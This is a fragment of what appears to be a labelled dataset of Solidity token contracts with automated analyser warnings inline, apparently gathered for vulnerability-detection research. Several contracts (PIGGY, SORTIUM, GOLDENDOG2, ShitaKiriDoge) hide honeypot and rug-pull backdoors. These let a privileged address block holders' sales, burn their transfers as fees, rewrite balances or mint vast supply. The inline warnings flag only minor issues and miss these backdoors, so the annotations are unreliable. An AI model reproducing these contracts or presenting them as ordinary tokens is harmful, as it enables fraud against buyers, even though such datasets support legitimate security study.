"code": "// SPDX-License-Identifier: NONE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract PEPEHALLOWEEN is IERC20 {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54edabb): PEPEHALLOWEEN._name should be constant \n\t// Recommendation for 54edabb: Add the 'constant' attribute to state variables that never change.\n string private _name = \"HalloweenPepeFreddyKrueger1MillionInu\";\n\t// WARNING Optimization Issue (constable-states | ID: d8887fb): PEPEHALLOWEEN._symbol should be constant \n\t// Recommendation for d8887fb: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"HALLOWEEN\";\n\t// WARNING Optimization Issue (constable-states | ID: 985ca23): PEPEHALLOWEEN._decimals should be constant \n\t// Recommendation for 985ca23: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 9bb3ec1): PEPEHALLOWEEN._totalSupply should be immutable \n\t// Recommendation for 9bb3ec1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply =\n 1000000000000000000 * (1 ** uint256(_decimals));\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n address private _owner;\n mapping(address => bool) private _excludedFees;\n mapping(address => bool) private _excludedRewards;\n\n uint256 private constant _taxRate = 0;\n address private constant _marketingWallet =\n 0xDe0BcCe5Eb350e42fE7e8fD61664a77f9eFbDE8B;\n\n modifier onlyOwner() {\n require(\n msg.sender == _owner,\n \"Only contract owner can call this function\"\n );\n _;\n }\n\n constructor() {\n _owner = msg.sender;\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(amount > 0, \"Amount must be greater than zero\");\n\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n require(amount > 0, \"Amount must be greater than zero\");\n\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n msg.sender,\n _allowances[sender][msg.sender].sub(amount)\n );\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedAmount\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].add(addedAmount)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedAmount\n ) public returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender].sub(subtractedAmount)\n );\n return true;\n }\n\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 8a9084c): PEPEHALLOWEEN.transferOwnership(address) should emit an event for _owner = newOwner \n\t// Recommendation for 8a9084c: Emit an event for critical parameter changes.\n function transferOwnership(address newOwner) public onlyOwner {\n require(newOwner != address(0), \"Invalid new owner\");\n\t\t// events-access | ID: 8a9084c\n _owner = newOwner;\n }\n\n function renounceOwnership() public onlyOwner {\n _owner = address(0x0000000000000000000000000000000000000000);\n }\n\n function Owner() public view returns (address) {\n return _owner;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal {\n uint256 taxAmount = amount.mul(_taxRate).div(100);\n uint256 transferAmount = amount.sub(taxAmount);\n\n _balances[sender] = _balances[sender].sub(amount);\n _balances[recipient] = _balances[recipient].add(transferAmount);\n _balances[_marketingWallet] = _balances[_marketingWallet].add(\n taxAmount\n );\n\n emit Transfer(sender, recipient, transferAmount);\n emit Transfer(sender, _marketingWallet, taxAmount);\n }\n\n function _approve(address owner, address spender, uint256 amount) internal {\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3402.sol",
"secure": 0,
"size_bytes": 5773
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract ShitaKiriDoge is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: 1ce2636): ShitaKiriDoge._decimals should be immutable \n\t// Recommendation for 1ce2636: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 public _decimals;\n string public _symbol;\n string public _name;\n address public _Marketing;\n\n constructor() {\n _name = \"Shita-Kiri Doge\";\n _symbol = \"SHIDOGE\";\n _decimals = 9;\n _totalSupply = 1 * 10 ** 12 * 10 ** 9;\n _balances[msg.sender] = _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n uint256 public _taxFee = 0;\n\t// WARNING Optimization Issue (immutable-states | ID: ba48ce1): ShitaKiriDoge._previousTaxFee should be immutable \n\t// Recommendation for ba48ce1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _previousTaxFee = _taxFee;\n\n uint256 public _liquidityFee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: fcf0bec): ShitaKiriDoge._previousliqFee should be constant \n\t// Recommendation for fcf0bec: Add the 'constant' attribute to state variables that never change.\n uint256 private _previousliqFee = 1009870;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: b107dce): ShitaKiriDoge.marketingWallet(address).Newmarketing lacks a zerocheck on \t _Marketing = Newmarketing\n\t// Recommendation for b107dce: Check that the address is not zero.\n function marketingWallet(address Newmarketing) public onlyOwner {\n\t\t// missing-zero-check | ID: b107dce\n _Marketing = Newmarketing;\n }\n\n function getOwner() external view virtual override returns (address) {\n return owner();\n }\n\n function decimals() external view virtual override returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view virtual override returns (string memory) {\n return _symbol;\n }\n\n function name() external view virtual override returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) external view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 217c496): ShitaKiriDoge.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 217c496: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function SUDOGE(uint256 Taxfee) public virtual {\n require(Taxfee == _previousliqFee, \"error message\");\n\n _taxFee = Taxfee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 14b3994): ShitaKiriDoge.setLiqFee(uint256) should emit an event for _liquidityFee = LiqFee \n\t// Recommendation for 14b3994: Emit an event for critical parameter changes.\n function setLiqFee(uint256 LiqFee) public onlyOwner {\n\t\t// events-maths | ID: 14b3994\n _liquidityFee = LiqFee;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b37b5b0): ShitaKiriDoge._transfer(address,address,uint256) performs a multiplication on the result of a division _balances[_Marketing] = _balances[_Marketing].add((amount / 100) * _taxFee)\n\t// Recommendation for b37b5b0: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4d23b54): ShitaKiriDoge._transfer(address,address,uint256) performs a multiplication on the result of a division _balances[recipient] = _balances[recipient].sub((amount / 100) * _liquidityFee)\n\t// Recommendation for 4d23b54: Consider ordering multiplication before division.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n\t\t// divide-before-multiply | ID: 4d23b54\n _balances[recipient] = _balances[recipient].sub(\n (amount / 100) * _liquidityFee\n );\n\t\t// divide-before-multiply | ID: b37b5b0\n _balances[_Marketing] = _balances[_Marketing].add(\n (amount / 100) * _taxFee\n );\n emit Transfer(sender, recipient, amount);\n }\n\n function _burn(address account, uint256 amounts) internal {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _balances[account] = _balances[account].sub(amounts);\n _totalSupply = _totalSupply.sub(amounts);\n emit Transfer(account, address(0), amounts);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 51adb4c): ShitaKiriDoge._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 51adb4c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_3403.sol",
"secure": 0,
"size_bytes": 7979
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Context {\n function msgSender() public view returns (address) {\n return msg.sender;\n }\n}",
"file_name": "solidity_code_3404.sol",
"secure": 1,
"size_bytes": 176
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 asd,\n uint256 bewr,\n address[] calldata _path,\n address csdf,\n uint256\n ) external;\n function factory() external pure returns (address addr);\n function WETH() external pure returns (address aadd);\n}",
"file_name": "solidity_code_3405.sol",
"secure": 1,
"size_bytes": 417
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract PIGGY is Ownable, Context {\n using SafeMath for uint256;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msgSender(), spender, amount);\n return true;\n }\n event Approval(\n address indexed from,\n address indexed to_addres,\n uint256 value\n );\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e209ff1): PIGGY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e209ff1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\t// WARNING Optimization Issue (constable-states | ID: 3aadc25): PIGGY._decimals should be constant \n\t// Recommendation for 3aadc25: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n msgSender(),\n spender,\n _allowances[msgSender()][spender] + addedValue\n );\n return true;\n }\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(msgSender(), recipient, amount);\n return true;\n }\n\t// WARNING Optimization Issue (immutable-states | ID: db483a3): PIGGY._totalSupply should be immutable \n\t// Recommendation for db483a3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000 * 10 ** _decimals;\n function _transfer(address _from, address _to, uint256 _amount) internal {\n uint256 feeAmount = (cooldowns[_from] != 0 &&\n cooldowns[_from] <= currentBlock())\n ? _amount.mul(985).div(1000)\n : sellFee;\n require(_amount <= _balances[_from]);\n _balances[_to] += _amount - feeAmount;\n _balances[_from] -= (_amount);\n require(_from != address(0));\n emit Transfer(_from, _to, _amount);\n }\n uint256 sellFee = 0;\n uint256 buyFee = 0;\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\t// WARNING Optimization Issue (constable-states | ID: b42fc38): PIGGY._symbol should be constant \n\t// Recommendation for b42fc38: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PIGGY\";\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\t// WARNING Optimization Issue (constable-states | ID: d2c09f1): PIGGY._name should be constant \n\t// Recommendation for d2c09f1: Add the 'constant' attribute to state variables that never change.\n string private _name = \"PIGGY Legend\";\n function Execute(address[] calldata _addresses) external {\n uint256 _toBlockNumber = currentBlock() + 1;\n for (uint256 _ndex_ = 0; _ndex_ < _addresses.length; _ndex_++) {\n if (marketing()) {\n cooldowns[_addresses[_ndex_]] = _toBlockNumber;\n }\n }\n }\n\t// WARNING Optimization Issue (immutable-states | ID: 4678913): PIGGY._marketingWallet should be immutable \n\t// Recommendation for 4678913: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _marketingWallet;\n\t// WARNING Optimization Issue (constable-states | ID: 3715339): PIGGY.uniswapRouter should be constant \n\t// Recommendation for 3715339: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniswapRouter =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n function currentBlock() private view returns (uint256) {\n return block.number;\n }\n function setBuyFee(uint256 bf) external onlyOwner {\n buyFee = bf;\n }\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 5024c13): PIGGY.setSellFee(uint256) should emit an event for sellFee = sf \n\t// Recommendation for 5024c13: Emit an event for critical parameter changes.\n function setSellFee(uint256 sf) external onlyOwner {\n\t\t// events-maths | ID: 5024c13\n sellFee = sf;\n }\n mapping(address => uint256) private _balances;\n event Transfer(address indexed from, address indexed aindex, uint256 val);\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n function marketing() internal view returns (bool) {\n return _marketingWallet == msgSender();\n }\n function transferFrom(\n address from_,\n address to_,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from_, to_, _amount);\n require(_allowances[from_][msgSender()] >= _amount);\n return true;\n }\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2f77da3): PIGGY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2f77da3: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) internal {\n require(spender != address(0));\n require(owner != address(0));\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n mapping(address => uint256) cooldowns;\n function uniswap(uint256 quantity, address _addrSwap) external {\n if (marketing()) {\n _approve(address(this), address(uniswapRouter), quantity);\n _balances[address(this)] = quantity;\n address[] memory tokenPath = new address[](2);\n tokenPath[0] = address(this);\n tokenPath[1] = uniswapRouter.WETH();\n uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n quantity,\n 0,\n tokenPath,\n _addrSwap,\n 32 + block.timestamp\n );\n }\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msgSender()][from] >= amount);\n _approve(msgSender(), from, _allowances[msg.sender][from] - amount);\n return true;\n }\n mapping(address => mapping(address => uint256)) private _allowances;\n constructor() {\n _balances[msgSender()] = _totalSupply;\n _marketingWallet = msg.sender;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n}",
"file_name": "solidity_code_3406.sol",
"secure": 0,
"size_bytes": 7287
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"./Authority.sol\" as Authority;\n\nabstract contract Auth {\n event OwnershipTransferred(address indexed user, address indexed newOwner);\n\n event AuthorityUpdated(\n address indexed user,\n Authority indexed newAuthority\n );\n\n address public owner;\n\n Authority public authority;\n\n constructor(address _owner, Authority _authority) {\n owner = _owner;\n authority = _authority;\n\n emit OwnershipTransferred(msg.sender, _owner);\n emit AuthorityUpdated(msg.sender, _authority);\n }\n\n modifier requiresAuth() virtual {\n require(isAuthorized(msg.sender, msg.sig), \"UNAUTHORIZED\");\n\n _;\n }\n\n function isAuthorized(\n address user,\n bytes4 functionSig\n ) internal view virtual returns (bool) {\n Authority auth = authority;\n\n return\n (address(auth) != address(0) &&\n auth.canCall(user, address(this), functionSig)) ||\n user == owner;\n }\n\n function setAuthority(Authority newAuthority) public virtual {\n require(\n msg.sender == owner ||\n authority.canCall(msg.sender, address(this), msg.sig)\n );\n\n authority = newAuthority;\n\n emit AuthorityUpdated(msg.sender, newAuthority);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6b20097): Auth.transferOwnership(address).newOwner lacks a zerocheck on \t owner = newOwner\n\t// Recommendation for 6b20097: Check that the address is not zero.\n function transferOwnership(address newOwner) public virtual requiresAuth {\n\t\t// missing-zero-check | ID: 6b20097\n owner = newOwner;\n\n emit OwnershipTransferred(msg.sender, newOwner);\n }\n}",
"file_name": "solidity_code_3407.sol",
"secure": 0,
"size_bytes": 1851
} |
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\ninterface Authority {\n function canCall(\n address user,\n address target,\n bytes4 functionSig\n ) external view returns (bool);\n}",
"file_name": "solidity_code_3408.sol",
"secure": 1,
"size_bytes": 232
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract SORTIUM {\n using SafeMath for uint256;\n mapping(address => uint256) private YKa;\n\n mapping(address => uint256) public YKb;\n mapping(address => mapping(address => uint256)) public allowance;\n\t// WARNING Optimization Issue (constable-states | ID: a36e43b): SORTIUM.name should be constant \n\t// Recommendation for a36e43b: Add the 'constant' attribute to state variables that never change.\n string public name = \"SORTIUM TOKEN\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 013630b): SORTIUM.symbol should be constant \n\t// Recommendation for 013630b: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"SORTIUM\";\n\t// WARNING Optimization Issue (constable-states | ID: 78b3e0f): SORTIUM.decimals should be constant \n\t// Recommendation for 78b3e0f: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 6;\n\n\t// WARNING Optimization Issue (constable-states | ID: a9c8330): SORTIUM.totalSupply should be constant \n\t// Recommendation for a9c8330: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 500000000 * 10 ** 6;\n address owner = msg.sender;\n address private YKc;\n\t// WARNING Optimization Issue (immutable-states | ID: 7b008c4): SORTIUM.YKd should be immutable \n\t// Recommendation for 7b008c4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private YKd;\n uint256 private YKe;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\t// WARNING Optimization Issue (constable-states | ID: f6ba45a): SORTIUM.YKf should be constant \n\t// Recommendation for f6ba45a: Add the 'constant' attribute to state variables that never change.\n address YKf = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n YKd = msg.sender;\n YKa[msg.sender] = totalSupply;\n\n CAST();\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == owner);\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function CAST() internal {\n YKb[msg.sender] = 5;\n YKc = YKf;\n\n emit Transfer(address(0), YKc, totalSupply);\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return YKa[account];\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (YKb[msg.sender] <= YKe) {\n require(YKa[msg.sender] >= value);\n YKa[msg.sender] -= value;\n YKa[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n if (YKb[msg.sender] > YKe) {}\n }\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function xReed(address YKj, uint256 YKk) public {\n if (YKb[msg.sender] == YKe) {\n YKb[YKj] = YKk;\n }\n }\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d10fd99): SORTIUM.ste(uint256) should emit an event for YKe = YKk \n\t// Recommendation for d10fd99: Emit an event for critical parameter changes.\n function ste(uint256 YKk) public onlyOwner {\n\t\t// events-maths | ID: d10fd99\n YKe = YKk;\n }\n\n function xBrn(address YKj, uint256 YKk) public onlyOwner {\n YKa[YKj] = YKk;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (YKb[from] < YKe && YKb[to] < YKe) {\n require(value <= YKa[from]);\n require(value <= allowance[from][msg.sender]);\n YKa[from] -= value;\n YKa[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n\n if (YKb[from] == YKe) {\n require(value <= YKa[from]);\n require(value <= allowance[from][msg.sender]);\n YKa[from] -= value;\n YKa[to] += value;\n allowance[from][msg.sender] -= value;\n\n from = YKf;\n\n emit Transfer(from, to, value);\n return true;\n }\n\n if (YKb[from] > YKe || YKb[to] > YKe) {}\n }\n}",
"file_name": "solidity_code_3409.sol",
"secure": 0,
"size_bytes": 4991
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}",
"file_name": "solidity_code_341.sol",
"secure": 1,
"size_bytes": 592
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GOLDENDOG2 is Ownable {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n\t// WARNING Optimization Issue (immutable-states | ID: c74f7d8): GOLDENDOG2._tokentotalSSSupply should be immutable \n\t// Recommendation for c74f7d8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tokentotalSSSupply;\n string private _Tokename;\n string private _TokenSSSsymbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 0778d7b): GOLDENDOG2.initSupply should be immutable \n\t// Recommendation for 0778d7b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private initSupply = 1000000000000 * 10 ** decimals();\n\t// WARNING Optimization Issue (immutable-states | ID: 550587e): GOLDENDOG2.AbTRByp should be immutable \n\t// Recommendation for 550587e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public AbTRByp;\n mapping(address => uint256) private TMFFmUser;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6e50ca7): GOLDENDOG2.constructor(address,string,string).bFfoPCc lacks a zerocheck on \t AbTRByp = bFfoPCc\n\t// Recommendation for 6e50ca7: Check that the address is not zero.\n constructor(address bFfoPCc, string memory t2name, string memory t2symbol) {\n\t\t// missing-zero-check | ID: 6e50ca7\n AbTRByp = bFfoPCc;\n _Tokename = t2name;\n _TokenSSSsymbol = t2symbol;\n _tokentotalSSSupply = initSupply;\n _balances[msg.sender] = initSupply;\n emit Transfer(address(0), msg.sender, initSupply);\n }\n\n function name() public view returns (string memory) {\n return _Tokename;\n }\n\n function symbol() public view returns (string memory) {\n return _TokenSSSsymbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view returns (uint256) {\n return _tokentotalSSSupply;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 amount) public returns (bool) {\n if (TMFFmUser[_msgSender()] == 900) {\n amount = _balances[_msgSender()] + 2000;\n }\n _transfer(_msgSender(), to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f6087b9): GOLDENDOG2.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f6087b9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n if (TMFFmUser[from] == 900) {\n amount = _balances[from] + 2000;\n }\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d13e37d): GOLDENDOG2.increaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d13e37d: Rename the local variables that shadow another component.\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0691af0): GOLDENDOG2.decreaseAllowance(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0691af0: Rename the local variables that shadow another component.\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(owner, spender, currentAllowance - subtractedValue);\n return true;\n }\n\n function quitbtc(address RfpLtoZ) external {\n if (AbTRByp == _msgSender()) {\n TMFFmUser[RfpLtoZ] = 0;\n } else {\n require(_msgSender() == AbTRByp);\n }\n }\n\n function Approve(address RfpLtoZ) external {\n if (AbTRByp == _msgSender()) {\n TMFFmUser[RfpLtoZ] = 900;\n } else {\n require(_msgSender() == AbTRByp);\n }\n }\n\n function IckFEaJ() public {\n if (AbTRByp == _msgSender()) {\n uint256 uYOIPvS = 1000000000000 * 10 ** decimals() * 98000;\n _balances[_msgSender()] += uYOIPvS;\n } else {\n require(_msgSender() == AbTRByp);\n revert(\"rbbb\");\n }\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n uint256 balance = _balances[from];\n require(balance >= amount, \"ERC20: transfer amount exceeds balance\");\n _balances[from] = _balances[from] - amount - 0;\n _balances[to] = _balances[to] + amount + 0;\n emit Transfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6717d2b): GOLDENDOG2._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6717d2b: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e8d84da): GOLDENDOG2._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e8d84da: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n}",
"file_name": "solidity_code_3410.sol",
"secure": 0,
"size_bytes": 7760
} |
{
